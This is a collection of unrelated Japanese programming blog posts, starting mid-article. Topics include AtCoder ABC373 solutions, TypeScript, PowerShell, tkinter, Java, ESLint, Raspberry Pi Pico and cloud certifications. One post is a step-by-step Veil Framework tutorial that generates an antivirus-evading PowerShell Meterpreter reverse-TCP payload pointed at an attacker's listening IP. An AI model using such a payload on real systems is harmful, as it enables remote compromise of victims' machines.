- `12` 回ループを回せば良い．
- ループの回数と，そのとき入力された文字数が等しい時，答え `ans` をインクリメントすれば良い．
```A.py
"""
<方針>
- `12` 回ループを回せば良い．
- ループの回数と，そのとき入力された文字数が等しい時，答え `ans` をインクリメントすれば良い．
"""
# 答え
ans = 0
# 12回ループ
for i in range(12):
  # 入力文字列
  s = input()
  # 入力文字列がループの回数と等しい時，
  if(len(s) == (i+1)): # 0-indexedなので，+1する．
    # 答えをインクリメントする
    ans += 1
# 出力
print(ans)
```

# B問題
- 移動する `26 - 1 = 25` 回分シミュレーションすれば，最小の移動回数 `ans` が求まる．
- 移動元 `src` と移動先 `dst` を `int` で持つ．
- アルファベットは `ord()` を利用することで，上手く数字で扱っていく．
```B.py
"""
<方針>
- 移動する `26 - 1 = 25` 回分シミュレーションすれば，最小の移動回数 `ans` が求まる．
- 移動元 `src` と移動先 `dst` を `int` で持つ．
- アルファベットは `ord()` を利用することで，上手く数字で扱っていく．
"""
# 入力
S = input()

# 最小の移動回数
ans = 0
# 25回分の移動シミュレーション
for i in range(25):
  # 移動元/移動先の位置を計算する．
  for j in range(26):
    # 移動元の位置
    if(ord(S[j]) == ord("A") + i):
      src = j
    # 移動先の位置
    if(ord(S[j]) == ord("A") + i+1):
      dst = j
  # 移動回数を更新
  ans += abs(src-dst)
# 出力
print(ans)
```

# C問題
## 方針
- 当然だが，全パターンを調べていたら， `O(N^2)` かかって `TLE` する．
- 普通に `A` と `B` の最大値を足せば良くね？
## 前提
- `C`問題あたりで，`TLE`になる人は，制約条件を見る癖をつけよう．
- `A`と`B`問題では，基本的に制約条件を見ずにやっても解ける．
- しかし，`C`問題以降では，制約条件を見ないと必ず`TLE`すると思っても良い．
- 詳しい話は私の[352回の記事](https://qiita.com/mattsunkun/items/837444254f03e6105922) の`C`問題の解説に記したので，是非参照してほしい．
```C.py
"""
<方針>
- 当然だが，全パターンを調べていたら， `O(N^2)` かかって `TLE` する．
- 普通に `A` と `B` の最大値を足せば良くね？
"""
# 入力
N = int(input())
A = list(map(int, input().split()))
B = list(map(int, input().split()))

# 出力
print(max(A) + max(B))
```

# D問題
- それぞれのノードとノードの重みを双方向から記録しておく．
- 最初の値を適当に `0` として， `BFS` or `DFS` で連結のノードの値を決めていく．
- 連結でないかどうかを全て調べて同じことをしていけばいける．
```D.py
"""
<方針>
- それぞれのノードとノードの重みを双方向から記録しておく．
- 最初の値を適当に `0` として， `BFS` or `DFS` で連結のノードの値を決めていく．
- 連結でないかどうかを全て調べて同じことをしていけばいける．
"""
from collections import deque
# 入力
N, M = map(int, input().split())
E = [[] for _ in range(N)]
for i in range(M):
  u, v, w = map(int, input().split())
  u -= 1
  v -= 1
  
  # 双方向でエッジを構築
  E[u].append([v, w])
  E[v].append([u, -w])

# 答え
ans = [None]*N

# 全てのノードを見ていく．
for i in range(N):
  # 値が決定していれば，探索しなくて良い．
  if(ans[i] is not None):
    continue
  
  q = deque() # 非再帰DFS
  
  # [ノードのインデックス, 値]
  q.append([i, 0])
  
  # 再帰
  while q:
    # x: ノード
    # b: 値
    x, b = q.popleft()
    
    # ノードの値を決定
    ans[x] = b
    
    # 接続しているノードを見る
    for v, w in E[x]:
      # 値が決定していなければ
      if(ans[v] is None):
        # 探索対象にする．
        q.append([v, b+w])
# 出力
print(*ans)
```

# 補足
### 関係するリンク(参考文献など)
- [今回のコンテスト](https://atcoder.jp/contests/abc373)
### 筆者について
- [Atcoderアカウント](https://atcoder.jp/users/mattsunkun)
- *今回も不参加のため，成績なし．*
- [解説で示したA問題の提出](https://atcoder.jp/contests/abc373/submissions/58232097)
- [解説で示したB問題の提出](https://atcoder.jp/contests/abc373/submissions/58234085)
- [解説で示したC問題の提出](https://atcoder.jp/contests/abc373/submissions/58234674)
- [解説で示したD問題の提出](https://atcoder.jp/contests/abc373/submissions/58240317)
### その他
- **間違いを含んでいる可能性があります．**
- 方針と言いつつ，方針ではない感想などを書いている可能性があります．
- A問題から解説がだんだん省略されます．
- コードに書かれている解説の文言と，その上に書いてある解説の文言を変えている場合があります．
### 最後に一言
- ratedで参加しようか．．どうしようか．．
Veil Frameworkのインストールとペイロードの作成

Veil Framworkは、Windowsのアンチウィルスを回避するための、ペイロードを作成するツールです。
Kali Linuxには、インストールされていませんので、追加でインストールする必要があります。

:::note warn
注意
Kali LinuxをOpenboxで使用していて、Openboxのまま、Veil Frameworkをインストールしようとしましたが、wineでエラーが発生して、インストールが出来ませんでした。
Xfceに戻して、/usr/share/veil/config/setup.sh --force --silentを実行することで、インストール出来ました。
:::


# インストール
```
sudo apt update
sudo apt upgrade
sudo apt install veil-evasion
```
# 初回起動
初回起動時にスクリプトが起動し、セットアップされます。
```
veil
```
# 起動とアップデート
```
veil
update
```
# アンチウィルスの回避ツールの作成
ツールとして
1)Evasion
2)Ordnance
と表示されるので、Evasionを選択する。
```
use 1
```
# ペイロードの選択
ペイロードの一覧表示
```
list
```
22番のpowershell/meterpreter/rev_tcp.pyを選択する。
```
use 22
```
オプションを表示する
```
options
```
待ち受けのKali LinuxのIPアドレスを設定する。
```
set LHOST <IPアドレス>
```
ペイロードを作成する。
```
generate
```
ペイロードファイル名を指定する。
```
rev_tcp
```
rev_tcp.batが/var/lib/veil/output/source/フォルダに作成される。
ABC373をPythonで（A～D）

AtCoder Beginner Contest 373の解答等の速報的まとめ

https://atcoder.jp/contests/abc373



# A問題
https://atcoder.jp/contests/abc373/tasks/abc373_a

問題文の通りにする
```python:A
ans = 0

for i in range(1, 13):
    if len(input()) == i:
        ans += 1

print(ans)
```

# B問題
https://atcoder.jp/contests/abc373/tasks/abc373_b

前処理で各文字のインデックスを取得しといて、各文字間の差の絶対値を足し合わせる
```python:B
d = {s_i : i for i, s_i in enumerate(input())}

abc = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

ans = 0
for s_i, t_i in zip(abc, abc[1:]):
    ans += abs(d[s_i] - d[t_i])

print(ans)
```

# C問題
https://atcoder.jp/contests/abc373/tasks/abc373_c

$a$の最大値と$b$の最大値の和が答え
```python:C
n = int(input())
a = list(map(int, input().split()))
b = list(map(int, input().split()))

print(max(a) + max(b))
```

# D問題
https://atcoder.jp/contests/abc373/tasks/abc373_d

重さ付きのUnionFindで各グループ内の重さの差を求め、最大値と最小値が$10^{18} \sim -10^{18}$の間になるように調整する
```python:D
class WeightedUnionFind:
    """
    URL:https://at274.hatenablog.com/entry/2018/02/03/140504#%E5%AE%8C%E6%88%90%E5%BD%A2
    """
    def __init__(self, n):
        self.par = [i for i in range(n+1)]
        self.rank = [0] * (n+1)
        # 根への距離を管理
        self.weight = [0] * (n+1)

    # 検索
    def find(self, x):
        if self.par[x] == x:
            return x
        else:
            y = self.find(self.par[x])
            # 親への重みを追加しながら根まで走査
            self.weight[x] += self.weight[self.par[x]]
            self.par[x] = y
            return y

    # 併合
    def union(self, x, y, w):
        rx = self.find(x)
        ry = self.find(y)
        # xの木の高さ < yの木の高さ
        if self.rank[rx] < self.rank[ry]:
            self.par[rx] = ry
            self.weight[rx] = w - self.weight[x] + self.weight[y]
        # xの木の高さ ≧ yの木の高さ
        else:
            self.par[ry] = rx
            self.weight[ry] = -w - self.weight[y] + self.weight[x]
            # 木の高さが同じだった場合の処理
            if self.rank[rx] == self.rank[ry]:
                self.rank[rx] += 1

    # 同じ集合に属するか
    def same(self, x, y):
        return self.find(x) == self.find(y)

    # xからyへのコスト
    def diff(self, x, y):
        return self.weight[x] - self.weight[y]


n, m = map(int, input().split())
data = [list(map(int, input().split())) for _ in range(m)]

UF = WeightedUnionFind(n)
for u, v, w in data:
    UF.union(v, u, w)

group = dict()

for i in range(n):
    p = UF.find(i + 1)
    if p not in group:
        group[p] = []
    group[p].append([i, UF.weight[i + 1]])

ans = [0] * n
for key, values in group.items():
    diff = 0
    val = [v_i for _, v_i in values]
    if min(val) < - 10 ** 18:
        diff = - 10 ** 18 + min(val)
    elif max(val) > 10 ** 18:
        diff = 10 ** 18 - max(val)
    for i, v_i in values:
        ans[i] = v_i + diff

print(*ans)

```
【TypeScript】関数の戻り値の型を取得する方法

## 取得方法

`ReturnType`を使用することで関数の戻り値の型を取得できます。

```typescript
ReturnType<typeof sampleFunciton>
```

## 例

```typescript
// 関数の定義
function getUser() {
    return {
        id: 1,
        name: "Alice"
    };
}

// ReturnTypeを使用して戻り値の型を取得
type User = ReturnType<typeof getUser>;
// {
//    id: number
//    name: string
// }

// User型の変数を作成
const user: User = {
    id: 1,
    name: "Alice"
};
```

この例では、`getUser`関数の戻り値の型を`ReturnType`を使って取得し、`User`型として定義しています。

## 参考

https://www.typescriptlang.org/docs/handbook/utility-types.html#returntypetype
Windows11で秘密鍵のパーミッションを使いやすくするPowershell関数

Windowsから秘密鍵を使ってsshすると結構こうなります
```
> ssh user@hostname -i private_key
 :
Permissions for '.\\private_key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key ".\\private_key": bad permissions
```
GUIからあれこれする方法もあるけれど面倒なのでこちら([Windows SSH: Permissions for 'private-key' are too open - Super User](https://superuser.com/questions/1296024/windows-ssh-permissions-for-private-key-are-too-open))を参考にPowershellの関数にしました。

```
function permission_key($key_path) {
  # Set Key File Variable:
  New-Variable -Name Key -Value "$key_path" # "$env:UserProfile\.ssh\id_rsa"

  # Remove Inheritance:
  Icacls $Key /c /t /Inheritance:d

  # Set Ownership to Owner:
  # Key's within $env:UserProfile:
  Icacls $Key /c /t /Grant ${env:UserName}:F

  # Key's outside of $env:UserProfile:
  TakeOwn /F $Key
  Icacls $Key /c /t /Grant:r ${env:UserName}:F

  # Remove All Users, except for Owner:
  Icacls $Key /c /t /Remove:g Administrator "Authenticated Users" BUILTIN\Administrators BUILTIN Everyone System Users

  # Verify:
  Icacls $Key

  # Remove Variable:
  Remove-Variable -Name Key
}
```
これを$profileあたりで宣言するとかしておきます。

使うと「処理できませんでした」と連発で出ますが、ちゃんと設定されます。
```
PS D:\（作業フォルダ）> permission_key(".\private_key")
処理ファイル: .\.vagrant\machines\default\virtualbox\private_key
1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした
処理ファイル: .\.vagrant\machines\default\virtualbox\private_key
1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした

成功: ファイル (またはフォルダー): "D:\（作業フォルダ）\private_key" は現在ユーザー "TONTORO-PC\（ユーザー名）" によって所有されています。
処理ファイル: .\private_key
1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした
処理ファイル: .\private_key
1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした
.\private_key TONTORO-PC\（ユーザー名）:(F)

1 個のファイルが正常に処理されました。0 個のファイルを処理できませんでした
```
tkinterで画像が表示されない現象について（ガベージコレクション）

## はじめに
tkinterでデスクトップアプリ上に画像を表示しようとしたが、画像が表示されない不具合が発生した。
本記事ではその解決方法をまとめる。

## 環境
tkinter: 8.6

## 現象の再現
```python
import tkinter
from PIL import Image, ImageTk

root = tkinter.Tk()
root.geometry('400x300')

img = Image.open('dog1.jpg')

def create_label():
    imgtk = ImageTk.PhotoImage(img) 
    label = tkinter.Label(root, width=300, height=300, image=imgtk)
    label.grid()

create_label()
root.mainloop()
```
### 実行結果
上記コードを実行するとこのように画像が表示されない。
![pic1.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1306561/3fb251ec-ab88-cd04-d91b-b3d4fdca13f0.png)

## 原因
上記のコードでは、表示させたい画像を定義している`imgtk`が`create_label()`関数の中でのみ存在しており、変数のスコープも関数内に限られています。
そのため、`create_label()`関数の外から`imgtk`への参照（アプリケーション側からの参照）ができなくなります。
その結果、この変数が参照されなくなり、メモリから解放されるガベージコレクションが発生していたようです。

## 対処法
`Label`ウィジェットのプロパティに明示的に画像を設定し、ガベージコレクションの対象から除外する。
具体的には以下のコードを追加してあげます。
```python
# labelはtkinter.Labelのインスタンスであり、そのimageプロパティに画像を指定。
# これで参照を保持
label.image = imgtk
```

## 修正後のコード
```python
import tkinter
from PIL import Image, ImageTk

root = tkinter.Tk()
root.geometry('400x300')

img = Image.open('dog1.jpg')

def create_label():
    imgtk = ImageTk.PhotoImage(img) 
    label = tkinter.Label(root, width=300, height=300, image=imgtk)
    label.image = imgtk  # ←これを追加
    label.grid()

create_label()
root.mainloop()
```

### 修正後の実行結果
![pic2.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1306561/ff3afd52-be15-9ccd-3117-f465ebbbd2ec.png)


## まとめ
ローカルスコープ内で定義した画像（変数も含む）は外部（アプリケーション全体）からアクセスできなくなり、結果として白一色の画像しか表示されなくなる。
回避方法として、ウィジェットのプロパティに明示的に変数を保持させる。
あるいは局所変数として作成しないことで正常に画像が表示し続けることができる。
[Agile] アジャイル開発

# 一覧
|アジャイル開発の手法||
|:--|:--|
|スクラム|スプリントのイベント<br>スプリント、デイリースクラム、スプリントレビュー、スプリントレトロスペクティブ|
|エクストリームプログラミング|19のプラクティス<br>ペアプログラミング、テスト駆動開発、リファクタリング、等|
|リーンソフトウェア開発|7つの原則<br>無駄をなくす、品質を作り込む、知識を作り出す、等|


# 参考リンク
- [令和元秋49_リーンソフトウェア](https://www.ap-siken.com/kakomon/01_aki/q49.html)
- [令和6春48_バリューストリームマップ](https://www.ap-siken.com/kakomon/06_haru/q48.html)
Java基礎文法Part1

Javaの基礎文法を記事にしたいと思います。
長くなるため、何回かに分けさせていただきます。

今回はJavaの変数について記事にしたいと思います。
具体例を交えながらどのようなときに使われるかをまとめております。

1. 宣言（せんげん）
宣言とは、プログラムの中で変数を「使いますよ」と教えることです。このとき、変数の「名前」と「型」を決めます。宣言だけでは、まだ変数に値を入れていません。型を使って、どんなデータを保存するかをJavaに伝えます。

書き方: 型 変数名;
```Java
int number; // 整数を保存する変数を宣言
String name; // 文字列を保存する変数を宣言
```
2. 代入（だいにゅう）
代入は、宣言した変数に値を入れることです。つまり、変数に「データを入れる」作業です。変数を使う前には必ず値を代入しないと、使えません。

書き方: 変数名 = 値;
```Java
number = 10; // numberに10を代入
name = "Alice"; // nameに"Alice"という文字列を代入
```
3. 初期化（しょきか）
初期化は、「宣言」と「代入」を同時に行うことです。つまり、変数を作るときに、最初から値を入れておく作業です。これにより、変数を使えるようになります。

書き方: 型 変数名 = 値;
```Java
int number = 10; // 宣言と代入を一緒に行う（初期化）
String name = "Alice"; // 宣言と代入を一緒に行う（初期化）
```
例をまとめると：
```Java
int number;        // 宣言：numberという名前の変数を作る
number = 10;       // 代入：numberに10を入れる
int age = 25;      // 初期化：ageを作り、同時に25を入れる
```
宣言・代入・初期化の違いを整理すると：
宣言: 変数を作るだけで、まだ値は入れません。
代入: すでに作った変数に値を入れます。
初期化: 変数を作ると同時に、最初の値を入れます。


変数の値参照
参照って何？
参照というのは、変数の中のデータを使うことです。たとえば、上の例の「number」という変数のデータ（つまり「5」）を使って計算したり、別の変数にコピーしたりします。
```Java
int number = 5;        // 変数numberに5を入れる
int anotherNumber = number; // numberの値をanotherNumberにコピー
System.out.println(anotherNumber); // 結果は5が表示される
```
この例では、「number」に入っている5を「参照」して、別の変数「anotherNumber」にその値をコピーしています。


変数が指しているデータそのものを使いたいときや、他の変数やメソッドにそのデータを渡したいときに使います。特に、オブジェクトや配列など「参照型」のデータを扱うときに重要です
1. 他のメソッドにデータを渡すとき
例えば、何か計算をするメソッドに変数のデータを渡す場合、参照を使ってそのデータを渡します。これによって、元の変数のデータをメソッド内でも利用することができます。
例:
```Java
public class Main {
    public static void main(String[] args) {
        int num = 10;
        printNumber(num); // 変数numの値（10）をメソッドに渡して使う
    }

    static void printNumber(int value) {
        System.out.println("Number is: " + value); // 10と表示される
    }
}
```
2. 配列やオブジェクトを複数の変数で扱いたいとき
Javaでは、配列やオブジェクトは「参照型」です。つまり、変数がデータそのものではなく、そのデータが保存されている場所（メモリ）を指しています。したがって、配列やオブジェクトを別の変数に代入したとき、それは「同じデータ」を参照します。
```Java
int[] numbers = {1, 2, 3};
int[] sameNumbers = numbers; // sameNumbersもnumbersと同じ配列を参照する
sameNumbers[0] = 10; // numbers[0] も変更される
System.out.println(numbers[0]); // 結果は10
```
この例では、sameNumbersとnumbersは同じ配列を参照しているため、sameNumbersを変更すると、numbersも同じように変更されます。これが「参照」の特徴です。


3. オブジェクトのデータを扱うとき
クラスから作ったオブジェクトも参照型なので、同じオブジェクトを複数の変数で扱うことができます。これにより、一つのオブジェクトの状態をどこからでも変更できます。
```Java
class Car {
    String model;
}

public class Main {
    public static void main(String[] args) {
        Car myCar = new Car();
        myCar.model = "Toyota";
        
        Car yourCar = myCar; // yourCarはmyCarと同じオブジェクトを参照する
        yourCar.model = "Honda"; // myCarも変更される
        
        System.out.println(myCar.model); // Hondaと表示される
    }
}
```
この例では、myCarとyourCarは同じ車のオブジェクトを指しているので、yourCarを変更すると、myCarも同じ変更を受けます。

4. メモリの効率化
参照型を使うことで、大きなデータを複数の場所にコピーする必要がなくなり、メモリの節約になります。たとえば、大きな画像データや大量の文字列を扱う場合、データそのものを複製するのではなく、参照だけを使って効率的にデータを共有できます。

まとめ:
変数の「参照」は、特にオブジェクトや配列などのデータを共有・変更したいときや、メソッドにデータを渡すときに使います。これにより、効率的にプログラムを作ることができ、複数の変数が同じデータを指しているときは、そのデータをどこからでも変更できるようになります。
eslintをv8.57.1に戻してsonarjsなどの設定を行ったメモ

# 概要
[前回](https://github.com/hibohiboo/async-ttrpg/pull/57/files#diff-7f5fc9989ade54c96c0cc0bdc748a44936973d318f14fe94f9052c29b26fda0d)はeslint9のflatconfigを試した。
今回は静的解析をeslintで行う[SonarJS](https://github.com/SonarSource/SonarJS/blob/master/packages/jsts/src/rules/README.md)を導入する。
sonarjsはまだv9に対応しきっていないのでv8にダウングレードした。([v8は2024.10.05でEOLになってしまうが...](https://eslint.org/blog/2024/09/eslint-v8-eol-version-support/#eslint-v8.x-end-of-life-is-october-5%2C-2024))
ついでにまだv9対応されていないimportプラグインなども入れた。

[プルリク](https://github.com/hibohiboo/async-ttrpg/pull/57/files#diff-7f5fc9989ade54c96c0cc0bdc748a44936973d318f14fe94f9052c29b26fda0d)
[v9](https://github.com/hibohiboo/async-ttrpg/blob/9878504beaded61e481454e77e6bbfbe565ad992/packages/eslint-config-custom/defaults.js)  -> [v8](https://github.com/hibohiboo/async-ttrpg/blob/5c4f8627e504964721b06565fbfa22356e6d341a/packages/eslint-config-custom/defaults.js)

**2024.10.11**
[eslint-importが2.31.0でeslint9に対応](https://github.com/import-js/eslint-plugin-import/releases)したのでv.8.57にする必要はなくなった。[*](https://github.com/hibohiboo/async-ttrpg/blob/0578359df6d6fab7d19a8fd0384d7190e589517b/)



# 追加設定
v8に落としたことで、エイリアスが認識されなくなった。

[eslint-import-resolver-typescript](https://www.npmjs.com/package/eslint-import-resolver-typescript)プラグインで対応した。

```diff:packages/eslint-config-custom/default.js
// 省略
export default tseslint.config({
  extends: [ js.configs.recommended
            , ...tseslint.configs.recommended
            , ...compat.extends('airbnb-base')
            , ...compat.extends('plugin:import/recommended')
            , ...compat.extends('plugin:sonarjs/recommended-legacy')
            , ...compat.extends('eslint-config-turbo')
            , prettierConfig
          ],
  plugins: { 'unused-imports': unuserdPlugin, sonarjs },
  rules: {
    // 省略
    'import/extensions': ['off'],
  },
+  settings: {
+    'import/resolver': {
+      node: {
+        extensions: ['.js', '.jsx', '.ts', '.tsx'],
+      },
+      typescript: {},
+    },
  },
});

```

また。フロントエンド側のtsconfigにreferencesを使っていたのでそのままでは認識されなかった。

```json:apps/pl-app/tsconfig.json
{
  "files": [],
  "references": [
    { "path": "./tsconfig.app.json" },
    { "path": "./tsconfig.node.json" }
  ]
}
```

これもResolverに追加設定で解決した。

```diff:apps/pl-app/eslint.config.mjs
import customConfig from '@async-ttrpg/eslint-config-custom/frontend.js';
import tseslint from 'typescript-eslint';

export default tseslint.config({
  extends: [...customConfig],
  settings: {
    'import/resolver': {
      node: {
        extensions: ['.js', '.jsx', '.ts', '.tsx'],
      },
      typescript: {
+        project: "./tsconfig.app.json",
      },
    },
  },
});
```
Raspberry Pi Pico 2事始め3～Arduino IDEでLチカ～

__Raspberry Pi Pico 2事始め2～MicroPythonでLチカ～__ の続きです。
今回は __Arduino IDE__ で __Lチカ__ をします。
# ボードマネージャの登録
__ファイル⇒環境設定__
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/c349a5ab-1206-01be-8b75-e20033fd3bf6.png)
__追加のボードマネージャのURL__ に以下 __URL__ を入力し __OK__ を __クリック__ します。
https://github.com/earlephilhower/arduino-pico/releases/download/global/package_rp2040_index.json
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/c1c2b507-248c-4bf3-1092-321b49f30e89.png)
__ツール⇒ボード⇒ボードマネージャ__ を __クリック__ します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/a88bbf38-fa37-9359-c00f-8fea3c61fede.png)
__ボードマネージャ__ に __RP2350__ と入力し, __Raspberry Pi RP2040/RP2350 Boards__ を選択し, __インストール__ を __クリック__ します。
インストール後 __閉じる__ をクリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/9542f5a0-3d13-8105-5956-4fb22f36f736.png)
__ツール⇒ボード⇒Raspberry Pi RP2350__ から __Raspberry Pi Pico2__ を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/0d2dff47-0f27-0601-f8ff-828373d56bc0.png)
# Blinkプログラム
__ファイル⇒スケッチ例⇒01.Basic⇒Blink__ を __クリック__ します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/5aeae57a-f08f-4b11-6db1-eadd51b3c772.png)
__ツール⇒シリアルポート⇒UF2 Board__ ,又は __COMxx__ を選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/265d0dad-e5e8-def9-9b35-955faa394c84.png)
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/ba81b48a-7dbe-59cf-da5d-9f100245c0c7.png)
__マイコンボードに書き込む➡__ を __クリック__ します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/0fd6dd8f-c329-dfe7-3ec1-3867b436b48b.png)
ボードへの書込みが完了するとLEDが点滅するようになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/285344/8f5dac01-5584-939f-48ad-33fcf0190bf5.png)
Pythonのwhileループを使って99表を出力してみた！

Pythonを一週間必死に勉強したが、誰がこれが簡単だと言ったの？？？
<br>
まず最初に言っておきますが、このブログは自分がPythonのwhileループについての理解を深めるために書いたものです。

興味のある方はどうぞ下にお進みください。途中で「何を書いてるんだ」と思ったら、退出してください。

<br>
題名の通り、99表を作成しました。まずはコードはこちらです。

```py
i = 1
while i <= 9:
    j = 1
    while j <= i:
        print(f"{i}*{j} = {i*j}",end="  ")
        if i == j:
            print("\n")
        j +=1
    i += 1
```

出力結果は次のとおりです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3897170/7ddb5739-13a4-058e-17bc-3e53df06bba1.png)
1分前まではプログラミングに才能がない自分に悩んでいましたが、この結果が出た瞬間に、「自分がとても牛逼です。」と自慢しました。
（*牛逼=素晴らしい、すっげー。やや下品な中国語の言い方です。）

<br>
まず、whileループというものは、入れ子にすることができます。
入れ子のパターンは、最も内側のループを先に完了させてから、外側のループを実行します。
<br>

1×1から1×9、2×1から2×9、…… 最後に9×1から9×9というのは、実際には二つのループの入れ子です。
<br>

1×1=1を二つの変数：iとjで置き換えると、i × jになります。
このとき、1×1から1×9は、iの値を1に固定し、jが1から9までループすることと理解できます。この時、内側のループが終了します。
<br>

そして、外側の二回目のループが始まり、2×1から2×9が得られます。これを繰り返します。
外側は合計で9回ループし、外側の各ループごとに内側が9回ループします。
i = 1のとき、jは1から9までループし、その後i=2になり、jが再び1から9までループします。外側のループが終了するまで続きます。

<br>

実は、最初はforループを使って書いていましたが、このブログはwhileについて書いているので、ここには載せません。
ただし、whileループも一度で書けたわけではありません。最初のコードはこんな感じでした。
```py
i = 1
while i <= 9:
  j = 1
  while j <= 9:
    print(f"{i}*{j} = {i*j}")
    j += 1
  i += 1
```

<br>
出力結果は（長すぎるので、少しだけ抜粋しますが、あなたのような賢い方なら具体的にどんなものか想像できるでしょう。また、forループのコードの出力も同じ内容です。）

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3897170/6a6f40f7-4110-a0f5-41ba-cad4816379cf.png)


その後、あるイケメンにツッコまれました。
21行目を改善できると。そうしないと、3×2=6や2×3=6などの重複した結果が出てしまいます。
<br>
そこで私は悩み、頭をひねってもwhile i <= jに変更できるとは思いつきませんでした（イケメンが親切に教えてくれました❤）。

<br>
では、正しい答えが得られたので、正しいコードがどのように動作するのか理解してみましょう。
最初のコードに戻ります。

```py
2 i = 1
3 while i <= 9:
4     j = 1
5     while j <= i:
6        print(f"{i}*{j} = {i*j}",end="  ")
7        if i == j:
8            print("\n")
9        j +=1
10    i += 1
```



```
変数iには初期値が必要で、その値は1です。
1から始まり、iが9以下の間はループを実行します—3行目のコードです。

    この時、i=1です。
    このループ内では、もう一つの変数jも初期値が必要で、その値は1です。
    ここから内側のループが始まります—5行目のコード：jがi以下の時、
        i×j=積を出力し、空白で終わります。
        （ここで、iとjの値が等しい時に改行する条件を追加しました。）
        その後、jの値を1増やして内側のループを続けます。

    この時、9行目のコードが実行された後は5行目に戻るべきですが、jの値が1増えて2になったため、内側のループの判断条件を満たさず、内側のループを抜けて10行目のコードを実行します—iの値が1増えます。（つまり、1×1=1は1行だけです）
    
    そして、プログラムは3行目のコードに戻り、iの値は2になり、<=9の条件を満たすため、内側のループを再開します。
4行目のコードを実行し、jはまだ1です。（この時jは2です）
    次に5行目で、jとiの値を比較し、条件を満たすので、
        6行目を実行し、出力結果は2×1=2で、空白で終わります。
        （内側のループの判断条件では、jとiの値が等しくないため、改行しません）
        9行目を実行し、jの値を1増やします。この時j=2です。
        5行目のj<=iの判断条件を満たし、内側のループを続行します。
    2回目の内側のループが終了したら、10行目のコードを実行し、iの値を再び増やします。
この時i=3です。
```
<br>
このように進めていくと、最終的には階段のような形の99の掛け算表が出力されます。

勉強にはアウトプットが大事と言われていますので、1週間後に上記の内容を忘れないことを願っています。

以上の内容に誤解や説明の間違いがあれば、ぜひご指摘ください。
[M/M/1 queue] 待ち行列

# 一覧
|用語|詳細|
|:--|:--|
|稼働率|``ρ``|
|``平均待ち時間``|``ρ``/(1-``ρ``)×``平均サービス時間``|
|``平均サービス時間``||
|``平均応答時間``|``平均待ち時間``+``平均サービス時間``|

# 参考リンク
- [H20S31](https://www.ap-siken.com/kakomon/20_haru/q31.html)
- [R6S2](https://www.ap-siken.com/kakomon/27_haru/q1.html)
【Google Cloud全冠日記Ⅱ】人～～生～～楽ラウド資格ありゃ苦ラウド資格もあるさ～～～

# こちらにおわすお方をどなたと心得る。恐れ多くもGoogle Cloud全冠公にあらせられるぞ

というわけで**他のクラウド資格も行脚してみました**

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/189193/63905651-45fd-fda1-8d90-c3922bd94f9e.png)

# 前回まえでのあらすじ産業

[前話はこちら](https://qiita.com/ykato/items/49dbd193729c0866c2df)

- 長くIT業界に居るオジサンでスコアリングサイトの数字高いけどそれは経験値の堆積でしかないと思てた
- 今何が出来るの？が可視化できてないのに、それでいて若手より金もらってる根拠薄くて申し訳ない
- じゃガチって全冠とったるわ！で、**結局はこれまでの経験値が生きてそのおかげで全部奪取できたね！経験大事！！**

# 前話エンドロールの後に流れた次回予告的なカット

偉「AWS試験のバウチャーあるんだけど、誰か欲しい人居る？」
僕「(全冠の力量試したい気もするけどAWS資格一個も持ってないからアソシエイトならワンチャン？)はーい！やりまーーす！！」
偉「ぜひぜひー！でも、これ**プロとスペキャリティのバウチャーでアソシエイトは受けれないやつ**ですよー」

### へ！？

んー、どれ受けよう仕事で使いそうなの、アーキテクト資格だろうし・・・Solutions Architect Professionalが良いかな？
と、たいして調べもせずにSAPが最難関レベルなのを知らずに選択してしまう・・・

# で、結局、模擬試験丸暗記でしょ？

ネット記事で書いてあるけど、SAPは丸暗記だけで受かるようなシロモノじゃないっすーー

- 問題数が75問とひたすら多くて試験時間3時間
- 対象ソリューション数が158(だっけな？)
- 問題文がめっちゃめっちゃ長い　※これが個人的に最高峰にしてる理由と思う・・・

とかキッツい。。
あと**特徴的な単語だけ覚えて決め打ちで回答できるものがとても少ないです**。構成が分かってないと回答できません

# でも見事合格！

- スコアは849(大したスコアじゃない)
- 学習期間8日(！！！)。時間にして40時間弱
- もう一回言うけど、**初AWS資格でSAP**っすからね

# オレ凄いだろう！話です？

これ前回の投稿でも言ったけど、

```
全冠とってく過程で学習の際に過去の経験値が役にたったのでスムーズに学習できた。
わりとインフラの基礎技術ベースはそんなに変わってない。TCP/IPとかDBとかね。
```

プラス、**全冠の知識総動員だったので、今回も経験値が躍動した**！って話なんです

# Google Cloudの資格とAWS資格の差で気づいたとこ

なんかドラクエとＦＦのラスダンの難易度の付け方の差みたいなの感じたのｗ

## アーキテクトへのニーズが違う？

Googleのはブロックみたいにサービス組み合わせて、が大半、AWSはソリューションが固定でオプションや構成の差で成否が決まる問題が多い。
**Googleのは構築後の運用でマズくなった時にメンテナンスする術が分からないような気がするし、一方、AWSのはサービスの組み合わせ方のプラクティスを重点的に習得出来ない気がする**ので一長一短って思った。

## コストで成否が決まる問題が多い

大企業でRTO XX分のマルチリージョン対応したい、みたいな問題にクロスリージョンにするみたいな回答するとコストが適切じゃないので不正解みたいな内容だったりする。
